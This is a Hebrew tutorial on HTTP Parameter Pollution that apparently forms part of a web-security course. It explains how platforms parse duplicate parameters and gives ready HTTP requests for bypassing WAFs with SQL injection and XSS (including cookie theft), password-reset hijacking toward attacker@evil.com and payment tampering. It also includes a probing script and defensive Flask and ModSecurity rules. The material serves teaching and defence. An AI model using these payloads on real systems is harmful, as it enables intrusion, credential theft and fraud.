זיהום פרמטרים - HTTP Parameter Pollution¶
מהו HPP?¶
זיהום פרמטרים (HPP - HTTP Parameter Pollution) היא טכניקה שמנצלת את הדרך שבה שרתים ו-WAFs מטפלים בפרמטרים כפולים. כאשר בקשה מכילה את אותו פרמטר יותר מפעם אחת, פלטפורמות שונות מגיבות באופן שונה. ה-WAF עשוי לבדוק ערך אחד, בעוד שהשרת משתמש בערך אחר.
איך פלטפורמות שונות מטפלות בפרמטרים כפולים¶
בקשה לדוגמה:
טבלת התנהגות לפי פלטפורמה¶
| פלטפורמה | התנהגות | ערך שמתקבל |
|---|---|---|
| PHP/Apache | לוקח אחרון | 2 |
| ASP.NET/IIS | שרשור עם פסיק | 1,2 |
| JSP/Tomcat | לוקח ראשון | 1 |
| Python Flask | לוקח ראשון | 1 |
| Python Django | לוקח אחרון | 2 |
| Express.js (Node) | מחזיר מערך | ['1', '2'] |
| Ruby on Rails | לוקח אחרון | 2 |
| Perl CGI | לוקח ראשון | 1 |
| Go net/http | לוקח ראשון | 1 |
הדגמה בקוד¶
<?php
// PHP - לוקח את הערך האחרון
// GET /page?id=safe&id=malicious
echo $_GET['id']; // מדפיס: malicious
?>
// JSP/Servlet - לוקח את הערך הראשון
// GET /page?id=safe&id=malicious
String id = request.getParameter("id"); // מחזיר: safe
// אבל getParameterValues מחזיר את כולם
String[] ids = request.getParameterValues("id"); // ["safe", "malicious"]
// Express.js - מחזיר מערך
// GET /page?id=safe&id=malicious
app.get('/page', (req, res) => {
console.log(req.query.id); // ['safe', 'malicious']
// אם הקוד לא מצפה למערך, עלול לגרום לבעיות
if (req.query.id == 'safe') {
// ההשוואה תיכשל כי id הוא מערך!
}
});
# Flask - לוקח את הערך הראשון
# GET /page?id=safe&id=malicious
from flask import request
@app.route('/page')
def page():
id = request.args.get('id') # מחזיר: safe
ids = request.args.getlist('id') # מחזיר: ['safe', 'malicious']
// ASP.NET - שרשור עם פסיק
// GET /page?id=1&id=2 UNION SELECT 3
string id = Request.QueryString["id"];
// id = "1,2 UNION SELECT 3"
// השרשור עצמו יכול ליצור מטען SQLi תקין!
HPP לעקיפת WAF¶
הרעיון המרכזי¶
אם ה-WAF בודק את הערך הראשון של פרמטר, אבל השרת משתמש באחרון (כמו PHP), אפשר לשים ערך תמים ראשון וערך זדוני שני:
# WAF בודק "id=1" - נראה תקין
# PHP משתמש ב-"id=1 UNION SELECT password FROM users--"
GET /page?id=1&id=1 UNION SELECT password FROM users-- HTTP/1.1
דוגמה מפורטת - עקיפת WAF ל-SQLi¶
# הבקשה הזדונית המקורית (נחסמת)
GET /page?id=1' UNION SELECT username,password FROM users-- HTTP/1.1
# עם HPP - פיצול המטען
GET /page?id=1&id=1' UNION SELECT username,password FROM users-- HTTP/1.1
# WAF רואה שני פרמטרים נפרדים:
# id=1 -> נראה תקין
# id=1' UNION SELECT... -> אולי בודק רק את הראשון
# PHP לוקח את האחרון -> ההזרקה מצליחה
דוגמה עם ASP.NET - שרשור¶
ב-ASP.NET המצב מעניין במיוחד. הפלטפורמה משרשרת ערכים עם פסיק:
# פיצול המטען לשני פרמטרים
GET /page?id=1 UNION/*&id=*/SELECT username FROM users-- HTTP/1.1
# ASP.NET משרשר: "1 UNION/*,*/SELECT username FROM users--"
# התוצאה היא SQL תקין כי הפסיק בתוך הערה!
# דוגמה נוספת עם שרשור ASP.NET
GET /page?id=1'/*&id=*/UNION/*&id=*/SELECT/*&id=*/password/*&id=*/FROM/*&id=*/users-- HTTP/1.1
# ASP.NET משרשר:
# "1'/*,*/UNION/*,*/SELECT/*,*/password/*,*/FROM/*,*/users--"
# כל הפסיקים בתוך הערות SQL - המטען תקין!
עקיפת WAF ל-XSS עם HPP¶
# מטען מקורי (נחסם)
GET /search?q=<script>alert(1)</script> HTTP/1.1
# עם HPP
GET /search?q=<script>alert&q=(1)</script> HTTP/1.1
# PHP (אחרון): q = (1)</script> -> לא XSS שלם
# ASP.NET (שרשור): q = <script>alert,(1)</script> -> הפסיק שובר את הקוד
# גישה חלופית - ניצול ההתנהגות של Express.js
GET /search?q=<script>&q=alert(1)&q=</script> HTTP/1.1
# Express.js: q = ['<script>', 'alert(1)', '</script>']
# אם הקוד משרשר את המערך: "<script>,alert(1),</script>"
HPP לבאגים לוגיים¶
דריסת פרמטרים פנימיים¶
# אפליקציה שמוסיפה פרמטרים בצד השרת
# הקוד מוסיף role=user לפני עיבוד
POST /register HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=hacker&password=pass123&role=admin
# השרת מוסיף role=user, אבל ב-PHP הערך האחרון גובר
# אם הקוד:
# $_POST['role'] = 'user'; // הגדרה פנימית
# process($_POST); // עיבוד
# אבל אם הפרמטר כבר קיים:
# $_POST = parse_str($body) // role=admin מהמשתמש
# $_POST['role'] = 'user' // דורס
# הסדר תלוי באיך הקוד כתוב
מניפולציית תשלומים¶
# אפליקציית תשלומים ששולחת לשער תשלום
POST /checkout HTTP/1.1
Content-Type: application/x-www-form-urlencoded
item=laptop&price=999&price=1
# אם השרת בודק price=999 (ראשון)
# אבל שער התשלום מקבל price=1 (אחרון)
# -> תשלום של דולר 1 במקום 999
דריסת פרמטרי אימות¶
# מערכת איפוס סיסמה
POST /reset-password HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email=victim@target.com&email=attacker@evil.com
# השרת שולח קישור איפוס ל-email
# אם לוקח ראשון: שולח ל-victim (לוגיקה נכונה)
# אם לוקח אחרון: שולח ל-attacker (ההתקפה הצליחה!)
# אם שולח לשניהם: attacker מקבל קישור איפוס של victim
HPP בשיטות HTTP שונות¶
HPP ב-GET¶
HPP ב-POST¶
HPP משולב GET ו-POST¶
# חלק מהפלטפורמות מאפשרות שילוב GET ו-POST
POST /api/user?id=1 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
id=2
# PHP: $_REQUEST['id'] תלוי בהגדרת request_order
# ברירת מחדל: POST דורס GET, אז id=2
# אבל $_GET['id']=1 ו-$_POST['id']=2
HPP בעוגיות - Cookies¶
GET /page HTTP/1.1
Cookie: session=legit; session=malicious
# רוב השרתים לוקחים את העוגייה הראשונה
# אבל חלק מה-WAFs בודקים רק את האחרונה
HPP ב-JSON¶
{
"id": 1,
"id": "1 UNION SELECT password FROM users--"
}
// רוב הפרסרים לוקחים את הערך האחרון של מפתח כפול
// WAF עשוי לבדוק רק את הראשון
import json
# Python json module - לוקח אחרון
data = json.loads('{"id": 1, "id": "malicious"}')
print(data['id']) # "malicious"
דוגמאות מלאות לעקיפת WAF עם HPP¶
דוגמה 1 - SQLi דרך HPP ב-PHP¶
# שלב 1: מזהים שהשרת רץ על PHP (לוקח אחרון)
# שלב 2: בודקים שה-WAF בודק ראשון
GET /products?category=electronics&category=electronics' UNION SELECT username,password FROM users-- HTTP/1.1
Host: target.com
# WAF רואה category=electronics -> תקין
# PHP מקבל category=electronics' UNION SELECT username,password FROM users--
דוגמה 2 - XSS דרך HPP ב-ASP.NET¶
# ניצול השרשור עם פסיק של ASP.NET
GET /search?term=hello&term=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.com
# ASP.NET: term = "hello,<script>alert(document.cookie)</script>"
# הפסיק לא משפיע על ה-XSS
דוגמה 3 - HPP עם קידוד¶
# שילוב HPP עם קידוד URL
GET /page?id=1&id=1%27%20UNION%20SELECT%201-- HTTP/1.1
# שילוב HPP עם קידוד כפול
GET /page?id=1&id=1%2527%2520UNION%2520SELECT%25201-- HTTP/1.1
# שילוב HPP עם Unicode
GET /page?id=1&id=1%EF%BC%87%20UNION%20SELECT%201-- HTTP/1.1
סקריפט לזיהוי התנהגות HPP¶
import requests
def test_hpp_behavior(url, param_name="test"):
"""בדיקת איך השרת מטפל בפרמטרים כפולים"""
# בדיקה עם GET
params = f"{param_name}=FIRST&{param_name}=SECOND"
r = requests.get(f"{url}?{params}")
print(f"[*] בדיקת {url}")
print(f"[*] בקשה: ?{params}")
print(f"[*] סטטוס: {r.status_code}")
body = r.text.lower()
if 'first' in body and 'second' in body:
if 'first,second' in body or 'first, second' in body:
print("[+] התנהגות: שרשור (ASP.NET style)")
else:
print("[+] התנהגות: שני הערכים מופיעים (Express.js style)")
elif 'first' in body and 'second' not in body:
print("[+] התנהגות: ראשון (JSP/Flask style)")
elif 'second' in body and 'first' not in body:
print("[+] התנהגות: אחרון (PHP style)")
else:
print("[-] לא ניתן לזהות - הפרמטר לא מוצג בתגובה")
# בדיקה עם POST
data = {param_name: ['FIRST', 'SECOND']}
r = requests.post(url, data=f"{param_name}=FIRST&{param_name}=SECOND",
headers={"Content-Type": "application/x-www-form-urlencoded"})
print(f"\n[*] בדיקת POST")
print(f"[*] סטטוס: {r.status_code}")
body = r.text.lower()
if 'first' in body and 'second' not in body:
print("[+] POST התנהגות: ראשון")
elif 'second' in body and 'first' not in body:
print("[+] POST התנהגות: אחרון")
elif 'first' in body and 'second' in body:
print("[+] POST התנהגות: שניהם")
# שימוש
test_hpp_behavior("http://target.com/search", "q")
הגנה¶
נורמליזציית פרמטרים¶
# הגנה - דחייה של פרמטרים כפולים
from flask import Flask, request, abort
app = Flask(__name__)
@app.before_request
def check_duplicate_params():
"""חסימת בקשות עם פרמטרים כפולים"""
for key in request.args:
values = request.args.getlist(key)
if len(values) > 1:
abort(400, f"פרמטר כפול: {key}")
if request.method == 'POST' and request.content_type == 'application/x-www-form-urlencoded':
for key in request.form:
values = request.form.getlist(key)
if len(values) > 1:
abort(400, f"פרמטר כפול: {key}")
# הגנה ב-ModSecurity - חסימת פרמטרים כפולים
SecRule &ARGS:id "@gt 1" \
"id:1001,\
phase:2,\
deny,\
status:400,\
msg:'Duplicate parameter detected'"
עקרונות הגנה:
1. לדחות בקשות עם פרמטרים כפולים
2. לוודא שה-WAF והשרת מפרשים פרמטרים באותה דרך
3. לנרמל פרמטרים לפני עיבוד
4. להשתמש בפרסר אחיד בכל רכיבי המערכת
סיכום¶
HPP היא טכניקה אלגנטית שמנצלת את חוסר העקביות בין רכיבי מערכת. הבנת ההתנהגות של כל פלטפורמה היא קריטית - PHP לוקח אחרון, JSP ראשון, ASP.NET משרשר. בשילוב עם טכניקות קידוד, HPP הופך לכלי עוצמתי לעקיפת WAF. בתרגיל הבא נתרגל טכניקות אלו על פלטפורמות שונות.